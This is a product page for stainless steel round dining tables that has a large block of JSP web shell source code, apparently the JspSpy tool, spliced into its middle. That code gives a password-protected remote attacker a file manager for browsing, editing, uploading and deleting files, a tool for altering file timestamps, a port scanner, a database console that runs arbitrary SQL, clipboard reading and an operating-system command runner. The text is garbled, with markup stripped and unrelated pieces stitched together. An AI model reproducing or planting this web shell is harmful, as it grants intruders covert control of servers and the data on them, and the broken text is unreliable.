Standing Table Round

Our provided Stainless Steel Dining Tables Round are available in a variety of sizes and designs to met the application needs of cafeterias, restaurants and other. We offer these Stainless Steel Dining Tables Round at most affordable prices to our precious customers.

Size - 30"x40"

"); table.append(""); for (int i = 1;i<=count;i++) { table.append(""); } if (op) table.append(""); table.append(""); while (rs.next()) { String tbName = null; table.append(""); for (int i = 1;i<=count;i++) { String v = rs.getString(i); if (i == 3) tbName = v; table.append(""); } if (op) table.append(""); table.append(""); } table.append("

"+meta.getColumnName(i)+"  
"+Util.null2Nbsp(v)+" View | Struct | Export | Save To File

"); return table.toString(); } } private static class Row{ private ArrayList cols = null; public Row(){ this.cols = new ArrayList(); } public void addColumn(Column n) { this.cols.add(n); } public ArrayList getColumns(){ return this.cols; } } private static class Column{ private String value; public Column(String v){ this.value = v; } public String getValue(){ return this.value; } } private static class Util{ public static boolean isEmpty(String s) { return s == null || s.trim().equals(""); } public static boolean isEmpty(Object o) { return o == null || isEmpty(o.toString()); } public static String getSize(long size,char danwei) { if (danwei == 'M') { double v = formatNumber(size / 1024.0 / 1024.0,2); if (v > 1024) { return getSize(size,'G'); }else { return v + "M"; } } else if (danwei == 'G') { return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; } else if (danwei == 'K') { double v = formatNumber(size / 1024.0,2); if (v > 1024) { return getSize(size,'M'); } else { return v + "K"; } } else if (danwei == 'B') { if (size > 1024) { return getSize(size,'K'); }else { return size + "B"; } } return ""+0+danwei; } public static boolean exists(String[] arr,String v) { for (int i =0;i",">"); } public static String getStr(String s) { return s == null ? "" :s; } public static String null2Nbsp(String s) { if (s == null) s = " "; return s; } public static String getStr(Object s) { return s == null ? "" :s.toString(); } public static String exec(String regex, String str, int group) { Pattern pat = Pattern.compile(regex); Matcher m = pat.matcher(str); if (m.find()) return m.group(group); return null; } public static void outMsg(Writer out,String msg) throws Exception { outMsg(out,msg,"center"); } public static void outMsg(Writer out,String msg,String align) throws Exception { out.write("

"+msg+"

"); } public static String highLight(String str) { str = str.replaceAll("\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\b","$1"); str = str.replaceAll("t(//.+)","t$1"); return str; } } private static class UploadBean { private String fileName = null; private String suffix = null; private String savePath = ""; private ServletInputStream sis = null; private OutputStream targetOutput = null; private byte[] b = new byte[1024]; public void setTargetOutput(OutputStream stream) { this.targetOutput = stream; } public UploadBean() { } public void setSavePath(String path) { this.savePath = path; } public String getFileName(){ return this.fileName; } public void parseRequest(HttpServletRequest request) throws IOException { sis = request.getInputStream(); int a = 0; int k = 0; String s = ""; while ((a = sis.readLine(b,0,b.length))!= -1) { s = new String(b, 0, a,PAGE_CHARSET); if ((k = s.indexOf("filename=""))!= -1) { s = s.substring(k + 10); k = s.indexOf("""); s = s.substring(0, k); File tF = new File(s); if (tF.isAbsolute()) { fileName = tF.getName(); } else { fileName = s; } k = s.lastIndexOf("."); suffix = s.substring(k + 1); upload(); } } } private void upload() throws IOException{ try { OutputStream out = null; if (this.targetOutput != null) out = this.targetOutput; else out = new FileOutputStream(new File(savePath,fileName)); int a = 0; int k = 0; String s = ""; while ((a = sis.readLine(b,0,b.length))!=-1) { s = new String(b, 0, a); if ((k = s.indexOf("Content-Type:"))!=-1) { break; } } sis.readLine(b,0,b.length); while ((a = sis.readLine(b,0,b.length)) != -1) { s = new String(b, 0, a); if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { break; } out.write(b, 0, a); } if (out instanceof FileOutputStream) out.close(); } catch (IOException ioe) { throw ioe; } } } %> <% SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); String myAbsolutePath = application.getRealPath(request.getServletPath()); if (Util.isEmpty(myAbsolutePath)) {//for weblogic SHELL_NAME = request.getServletPath(); myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); SHELL_NAME=request.getContextPath()+SHELL_NAME; WEB_ROOT = new File(application.getResource("/").getPath()).toString(); } else { WEB_ROOT = application.getRealPath("/"); } SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); if (SHELL_DIR.indexOf('/') == 0) ISLINUX = true; else ISLINUX = false; if (session.getAttribute(CURRENT_DIR) == null) session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); request = new MyRequest(request); if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { String o = request.getParameter("o"); if (o != null && o.equals("login")) { ((Invoker)ins.get("login")).invoke(request,response,session); return; } else if (o != null && o.equals("vLogin")) { ((Invoker)ins.get("vLogin")).invoke(request,response,session); return; } else { ((Invoker)ins.get("vLogin")).invoke(request,response,session); return; } } %> <%! private static interface Invoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; public boolean doBefore(); public boolean doAfter(); } private static class DefaultInvoker implements Invoker{ public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { } public boolean doBefore(){ return true; } public boolean doAfter() { return true; } } private static class ScriptInvoker extends DefaultInvoker{ public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); out.println(" "); } catch (Exception e) { throw e ; } } } private static class BeforeInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); out.println("JspSpy

"); } catch (Exception e) { throw e ; } } } private static class AfterInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); out.println(""); } catch (Exception e) { throw e ; } } } private static class DeleteBatchInvoker extends DefaultInvoker { public boolean doBefore(){return false;} public boolean doAfter(){return false;} public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { String files = request.getParameter("files"); int success = 0; int failed = 0; if (!Util.isEmpty(files)) { String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); String[] arr = files.split(","); for (int i = 0;iSuccess , "+failed+" Files Deleted Failed!"); response.sendRedirect(SHELL_NAME); } catch (Exception e) { throw e ; } } } private static class ClipBoardInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); out.println(""+ " "+ " "+ " "+ "

"+ "

System Clipboard »

"+ "

 

");
try{
out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
}catch (Exception ex) {
out.println("ClipBoard is Empty Or Is Not Text Data !");
}
out.println("
"+ " "+ "

 

"+ "

"); } catch (Exception e) { throw e ; } } } private static class VPortScanInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); String ip = request.getParameter("ip"); String ports = request.getParameter("ports"); String timeout = request.getParameter("timeout"); String banner = request.getParameter("banner"); if (Util.isEmpty(ip)) ip = "127.0.0.1"; if (Util.isEmpty(ports)) ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; if (Util.isEmpty(timeout)) timeout = "2"; out.println("

"+ "

PortScan >>

"+ "
"+ "

"+ "IP : Port : Banner Timeout (Second) : "+ "

"+ "
"+ "

"); } catch (Exception e) { throw e ; } } } private static class PortScanInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); ((Invoker)ins.get("vPortScan")).invoke(request,response,JSession); out.println("


"); String ip = request.getParameter("ip"); String ports = request.getParameter("ports"); String timeout = request.getParameter("timeout"); String banner = request.getParameter("banner"); int iTimeout = 0; if (Util.isEmpty(ip) || Util.isEmpty(ports)) return; if (!Util.isInteger(timeout)) { timeout = "2"; } iTimeout = Integer.parseInt(timeout); Map rs = new LinkedHashMap(); String[] portArr = ports.split(","); for (int i =0;i"+sb.toString()+""); r.close(); } else { rs.put(port,"Open"); } s.close(); } catch (Exception e) { if (e.toString().toLowerCase().indexOf("read timed out")!=-1) { rs.put(port,"Open <<No Banner!>>"); if (r != null) r.close(); } else { rs.put(port,"Close"); } } } out.println("

"); Set entrySet = rs.entrySet(); Iterator it = entrySet.iterator(); while (it.hasNext()) { Map.Entry e = (Map.Entry)it.next(); String port = (String)e.getKey(); String value = (String)e.getValue(); out.println(ip+" : "+port+" ................................. "+value+"
"); } out.println("

"); } catch (Exception e) { throw e ; } } } private static class VConnInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); Object obj = JSession.getAttribute(DBO); if (obj == null || !((DBOperator)obj).isValid()) { out.println(" "); out.println("

"+ "
"+ ""+ "

DataBase Manager »

"+ ""+ "

"+ "Driver:"+ " "+ "URL:"+ ""+ "UID:"+ ""+ "PWD:"+ ""+ "DataBase:"+ " "+ ""+ "

"+ "

"); } else { ((Invoker)ins.get("dbc")).invoke(request,response,JSession); } } catch (ClassCastException e) { throw e; } catch (Exception e) { throw e ; } } } //DBConnect private static class DbcInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); String driver = request.getParameter("driver"); String url = request.getParameter("url"); String uid = request.getParameter("uid"); String pwd = request.getParameter("pwd"); String sql = request.getParameter("sql"); String selectDb = request.getParameter("selectDb"); if (selectDb == null) selectDb = JSession.getAttribute("selectDb").toString(); else JSession.setAttribute("selectDb",selectDb); Object dbo = JSession.getAttribute(DBO); if (dbo == null || !((DBOperator)dbo).isValid()) { if (dbo != null) ((DBOperator)dbo).close(); dbo = new DBOperator(driver,url,uid,pwd,true); } else { if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { DBOperator oldDbo = (DBOperator)dbo; dbo = new DBOperator(driver,url,uid,pwd); if (!oldDbo.equals(dbo)) { ((DBOperator)oldDbo).close(); ((DBOperator)dbo).connect(); } else { dbo = oldDbo; } } } DBOperator Ddbo = (DBOperator)dbo; JSession.setAttribute(DBO,Ddbo); if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) { Ddbo.getConn().setCatalog(request.getParameter("catalog")); } Util.outMsg(out,"Connect To DataBase Success!"); out.println(" "); out.println("

"+ "
"+ ""+ "

DataBase Manager »

"+ ""+ "

"+ "Driver:"+ " "+ "URL:"+ ""+ "UID:"+ ""+ "PWD:"+ ""+ "DataBase:"+ " "+ ""+ "

"+ "
"); DatabaseMetaData meta = Ddbo.getConn().getMetaData(); out.println("
"+ "
Version : "+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"
URL : "+meta.getURL()+"
Catalog : "+Ddbo.getConn().getCatalog()+"
UserName : "+meta.getUserName()+"

Run SQL query/queries on database / Switch Database : "); out.println("
 

"); if (Util.isEmpty(sql)) { String type = request.getParameter("type"); if (Util.isEmpty(type) || type.equals("switch")) { ResultSet tbs = meta.getTables(null,null,null,null); out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true)); tbs.close(); } else if (type.equals("struct")) { String tb = request.getParameter("table"); if (Util.isEmpty(tb)) return; ResultSet t = meta.getColumns(null,null,tb,null); out.println(Table.rs2Table(t,"",false)); t.close(); } } } catch (Exception e) { JSession.setAttribute(MSG,"Some Error Occurred. Please Check Out the StackTrace Follow."+BACK_HREF); throw e; } } } private static class ExecuteSQLInvoker extends DefaultInvoker{ public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); String sql = request.getParameter("sql"); String db = request.getParameter("selectDb"); Object dbo = JSession.getAttribute(DBO); if (!Util.isEmpty(sql)) { if (dbo == null || !((DBOperator)dbo).isValid()) { ((Invoker)ins.get("vConn")).invoke(request,response,JSession); return; } else { ((Invoker)ins.get("dbc")).invoke(request,response,JSession); Object obj = ((DBOperator)dbo).execute(sql); if (obj instanceof ResultSet) { ResultSet rs = (ResultSet)obj; ResultSetMetaData meta = rs.getMetaData(); int colCount = meta.getColumnCount(); out.println("Query#0 : "+Util.htmlEncode(sql)+"

"); out.println(""); for (int i=1;i<=colCount;i++) { out.println(""); } out.println(""); Table tb = new Table(); while(rs.next()) { Row r = new Row(); for (int i = 1;i<=colCount;i++) { String v = null; try { v = rs.getString(i); } catch (SQLException ex) { v = "<>"; } r.addColumn(new Column(v)); } tb.addRow(r); } out.println(tb.toString()); out.println("

"+meta.getColumnName(i)+"
"+meta.getColumnTypeName(i)+"


"); rs.close(); ((DBOperator)dbo).closeStmt(); } else { out.println("affected rows : "+obj+"

"); } } } else { ((Invoker)ins.get("dbc")).invoke(request,response,JSession); } } catch (Exception e) { throw e ; } } } private static class VLoginInvoker extends DefaultInvoker { public boolean doBefore() {return false;} public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); out.println("jspspy

"+ ""+ " "+ " "+ " "+ "
"+ "

 

"+ "

 "); } catch (Exception e) { throw e ; } } } private static class LoginInvoker extends DefaultInvoker{ public boolean doBefore() {return false;} public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { String inputPw = request.getParameter("pw"); if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { ((Invoker)ins.get("vLogin")).invoke(request,response,JSession); return; } else { JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); response.sendRedirect(SHELL_NAME); return; } } catch (Exception e) { throw e ; } } } private static class MyComparator implements Comparator{ public int compare(Object obj1,Object obj2) { try { if (obj1 != null && obj2 != null) { File f1 = (File)obj1; File f2 = (File)obj2; if (f1.isDirectory()) { if (f2.isDirectory()) { return f1.getName().compareTo(f2.getName()); } else { return -1; } } else { if (f2.isDirectory()) { return 1; } else { return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase()); } } } return 0; } catch (Exception e) { return 0; } } } private static class FileListInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { try { String path2View = null; PrintWriter out = response.getWriter(); String path = request.getParameter("folder"); String outEntry = request.getParameter("outentry"); if (!Util.isEmpty(outEntry) && outEntry.equals("true")) { JSession.removeAttribute(ENTER); JSession.removeAttribute(ENTER_MSG); JSession.removeAttribute(ENTER_CURRENT_DIR); } Object enter = JSession.getAttribute(ENTER); File file = null; if (!Util.isEmpty(enter)) { if (Util.isEmpty(path)) { if (JSession.getAttribute(ENTER_CURRENT_DIR) == null) path = "/"; else path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR)); } file = new EnterFile(path); ((EnterFile)file).setZf((String)enter); JSession.setAttribute(ENTER_CURRENT_DIR,path); } else { if (Util.isEmpty(path)) path = JSession.getAttribute(CURRENT_DIR).toString(); JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); file = new File(path); } path2View = Util.convertPath(path); if (!file.exists()) { throw new Exception(path+"Dont Exists !"); } File[] list = file.listFiles(); Arrays.sort(list,new MyComparator()); out.println("

"); String cr = null; try { cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); }catch(Exception e) { cr = "/"; } File currentRoot = new File(cr); out.println("

File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

"); out.println("
"+ ""+ " "+ " "+ " "+ " "+ " "+ "
Current Directory
"+ "
"); out.println(""+ ""+ ""+ ""+ " "+ " "+ " "+ " "+ " "+ ""); if (file.getParent() != null) { out.println(""+ ""+ ""+ ""); } int dircount = 0; int filecount = 0; for (int i = 0;i"+ ""+ ""+ ""+ ""+ ""+ ""); } else { filecount++; out.println(""+ ""+ ""+ ""+ ""+ ""+ ""); } } out.println(""+ " "+ " "+ "
"+ "
"+ "Web Root"+ " | Shell Directory"+ " | New Directory | New File"+ " | "); File[] roots = file.listRoots(); for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); if (i != roots.length -1) { out.println("|"); } } out.println("
  Name Last Modified Size Read/Write/Execute  
= Goto Parent
0 "+f.getName()+" "+Util.formatDate(f.lastModified())+" -- "+f.canRead()+" / "+f.canWrite()+" / unknow "); if (enter != null) out.println(" "); else out.println("Del | Move | Pack"); out.println("
"+f.getName()+" "+Util.formatDate(f.lastModified())+" "+Util.getSize(f.length(),'B')+" "+ ""+f.canRead()+" / "+f.canWrite()+" / unknow "+ "Edit | "+ "Down | "+ "Copy"); if (enter == null ) { out.println(" | Move | "+ "Property | "+ "Enter"); if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) { out.println(" | UnPack"); } else if (f.getName().endsWith(".rar")) { out.println(" | UnPack"); } else { out.println(" | Pack"); } } out.println("
  "); if (enter != null) out.println("Pack Selected - Delete Selected"); else out.println("Pack Selected - Delete Selected"); out.println(" "+dircount+" directories / "+filecount+" files
"); out.println("

"); if (file instanceof EnterFile) ((EnterFile)file).close(); } catch (ZipException e) { JSession.setAttribute(MSG,"""+JSession.getAttribute(ENTER).toString()+"" Is Not a Zip File. Please Exit."); throw e; } catch (Exception e) { JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF); throw e; } } } private static class LogoutInvoker extends DefaultInvoker { public boolean doBefore() {return false;} public boolean doAfter() {return false;} public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { Object dbo = JSession.getAttribute(DBO); if (dbo != null) ((DBOperator)dbo).close(); Object obj = JSession.getAttribute(PORT_MAP); if (obj != null) { ServerSocket s = (ServerSocket)obj; s.close(); } Object online = JSession.getAttribute(SHELL_ONLINE); if (online != null) ((OnLineProcess)online).stop(); JSession.invalidate(); ((Invoker)ins.get("vLogin")).invoke(request,response,JSession); } catch (ClassCastException e) { JSession.invalidate(); ((Invoker)ins.get("vLogin")).invoke(request,response,JSession); } catch (Exception e) { throw e ; } } } private static class UploadInvoker extends DefaultInvoker { public boolean doBefore() {return false;} public boolean doAfter() {return false;} public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { UploadBean fileBean = new UploadBean(); response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); fileBean.parseRequest(request); File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName()); if (f.exists() && f.length() > 0) JSession.setAttribute(MSG,"Upload File Success!"); else JSession.setAttribute("MSG","Upload File Failed!"); response.sendRedirect(SHELL_NAME); } catch (Exception e) { throw e ; } } } private static class CopyInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { String src = request.getParameter("src"); String to = request.getParameter("to"); InputStream in = null; Object enter = JSession.getAttribute(ENTER); if (enter == null) in = new FileInputStream(new File(src)); else { ZipFile zf = new ZipFile((String)enter); ZipEntry entry = zf.getEntry(src); in = zf.getInputStream(entry); } BufferedInputStream input = new BufferedInputStream(in); BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); byte[] d = new byte[1024]; int len = input.read(d); while(len != -1) { output.write(d,0,len); len = input.read(d); } output.close(); input.close(); JSession.setAttribute(MSG,"Copy File Success!"); response.sendRedirect(SHELL_NAME); } catch (Exception e) { throw e ; } } } private static class BottomInvoker extends DefaultInvoker { public boolean doBefore() {return false;} public boolean doAfter() {return false;} public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { response.getWriter().println("

Don't break my heart~"+ "

"); } catch (Exception e) { throw e ; } } } private static class VCreateFileInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); String path = request.getParameter("filepath"); File f = new File(path); if (!f.isAbsolute()) { String oldPath = path; path = JSession.getAttribute(CURRENT_DIR).toString(); if (!path.endsWith("/")) path+="/"; path+=oldPath; f = new File(path); f.createNewFile(); } else { f.createNewFile(); } out.println("

"+ "
"+ "

Create / Edit File »

"+ ""+ "

Current File (import new file name and new file)
"+ "

"+ "

File Content

"+ "

"+ "
"+ "

"); } catch (Exception e) { throw e ; } } } private static class VEditInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); String path = request.getParameter("filepath"); String charset = request.getParameter("charset"); Object enter = JSession.getAttribute(ENTER); InputStream input = null; if (enter != null) { ZipFile zf = new ZipFile((String)enter); ZipEntry entry = new ZipEntry(path); input = zf.getInputStream(entry); } else { File f = new File(path); if (!f.exists()) return; input = new FileInputStream(path); } BufferedReader reader = null; if (Util.isEmpty(charset) || charset.equals("ANSI")) reader = new BufferedReader(new InputStreamReader(input)); else reader = new BufferedReader(new InputStreamReader(input,charset)); StringBuffer content = new StringBuffer(); String s = reader.readLine(); while (s != null) { content.append(s+"rn"); s = reader.readLine(); } reader.close(); out.println("

"+ "
"+ "

Create / Edit File »

"+ ""+ "

Current File (import new file name and new file)
"+ "

"+ "

File Content

"+ "

"); if (enter != null) out.println(""); else out.println(""); out.println("

"+ "
"+ "

"); } catch (Exception e) { throw e ; } } } private static class CreateFileInvoker extends DefaultInvoker { public boolean doBefore(){return false;} public boolean doAfter(){return false;} public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); String path = request.getParameter("filepath"); String content = request.getParameter("filecontent"); String charset = request.getParameter("charset"); BufferedWriter outs = null; if (charset.equals("ANSI")) outs = new BufferedWriter(new FileWriter(new File(path))); else outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset)); outs.write(content,0,content.length()); outs.close(); JSession.setAttribute(MSG,"Save File "+(new File(path)).getName()+" With "+charset+" Success!"); response.sendRedirect(SHELL_NAME); } catch (Exception e) { throw e ; } } } private static class VEditPropertyInvoker extends DefaultInvoker { public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); String filepath = request.getParameter("filepath"); File f = new File(filepath); if (!f.exists()) return; String read = f.canRead() ? "checked="checked"" : ""; String write = f.canWrite() ? "checked="checked"" : ""; Calendar cal = Calendar.getInstance(); cal.setTimeInMillis(f.lastModified()); out.println("

"+ "
"+ "

Set File Property »

"+ "

Current File (FullPath)

"+ " "+ "

"+ " Read "+ " Write "+ "

"+ "

Instead »"+ "year:"+ ""+ "month:"+ ""+ "day:"+ ""+ ""+ "hour:"+ ""+ "minute:"+ ""+ "second:"+ ""+ "

"+ "

"+ "
"+ "

"); } catch (Exception e) { throw e ; } } } private static class EditPropertyInvoker extends DefaultInvoker { public boolean doBefore(){return false;} public boolean doAfter(){return false;} public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { String f = request.getParameter("file"); File file = new File(f); if (!file.exists()) return; String year = request.getParameter("year"); String month = request.getParameter("month"); String date = request.getParameter("date"); String hour = request.getParameter("hour"); String minute = request.getParameter("minute"); String second = request.getParameter("second"); Calendar cal = Calendar.getInstance(); cal.set(Calendar.YEAR,Integer.parseInt(year)); cal.set(Calendar.MONTH,Integer.parseInt(month)-1); cal.set(Calendar.DATE,Integer.parseInt(date)); cal.set(Calendar.HOUR,Integer.parseInt(hour)); cal.set(Calendar.MINUTE,Integer.parseInt(minute)); cal.set(Calendar.SECOND,Integer.parseInt(second)); if(file.setLastModified(cal.getTimeInMillis())){ JSession.setAttribute(MSG,"Reset File Property Success!"); } else { JSession.setAttribute(MSG,"Reset File Property Failed!"); } response.sendRedirect(SHELL_NAME); } catch (Exception e) { throw e ; } } } //VShell private static class VsInvoker extends DefaultInvoker{ public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ try { PrintWriter out = response.getWriter(); String cmd = request.getParameter("command"); String program = request.getParameter("program"); if (cmd == null) { if (ISLINUX) cmd = "id"; else cmd = "cmd.exe /c set"; } if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; if (JSession.getAttribute(MSG)!=null) { Util.outMsg(out,JSession.getAttribute(MSG).toString()); JSession.removeAttribute(MSG); } out.println(""+ "

"+ "
"+ "

Execute Program »

"+ "

"+ ""+ ""+ "Parameter
"+ ""+ "

"+ "
"+ "
"+

Enquire this Product

Call Us Office : +91 7373444866, Marketing : +91 7373444966, +91 7373444788